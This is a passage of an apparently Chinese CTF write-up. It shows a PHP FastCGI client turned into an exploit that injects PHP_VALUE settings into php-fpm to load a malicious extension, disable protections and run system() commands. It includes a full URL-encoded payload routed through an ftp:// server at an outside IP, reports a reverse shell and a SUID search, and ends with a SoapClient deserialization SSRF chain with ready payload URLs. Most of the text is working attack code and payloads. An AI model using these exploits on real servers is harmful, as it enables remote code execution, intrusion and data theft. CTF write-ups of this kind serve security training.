     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('?file=ftp://ip:9999/&data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; 
$php_value = "unserialize_callback_func = system\nextension_dir = /var/www/html\nextension = 1.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";   //注意修改这里的so文件名称和路径
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',    // 注意这里的FPM端口
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

生成payload后访问

hack.php?file=ftp://45.15.131.101:9999/&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

反弹shell成功,提权,查看有suid的命令

find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/local/bin/php

用php命令行模式,同样先绕过open_basedir,再readfile读取flag即可

bestphp’s revenge

上来就是一个源码

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);//此处如果不更改$b那么就会直接将$a合并为字符串然后返回
?>
//还有一个flag.php
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

明显是SSRF了,[HFCTF2020]BabyUpload这里有php的session存储引擎相关内容,php中默认使用的是PHP引擎,修改引擎使用ini_set('session.serialize_handler', '需要设置的引擎');即可修改,此处我们通过不同的session存储读取方法即可导致反序列化,而SSRF只需要通过原生类中的SoapClient类反序列化执行__call方法就行

首先构造SoapClient

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

然后上传,使得反序列化被执行

/?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
serialize_handler=php_serialize

调用类中不存在的方法触发__call

/?f=extract&name=SoapClient
b=call_user_func

var_dump查看SESSIONID,最终改Cookie拿flag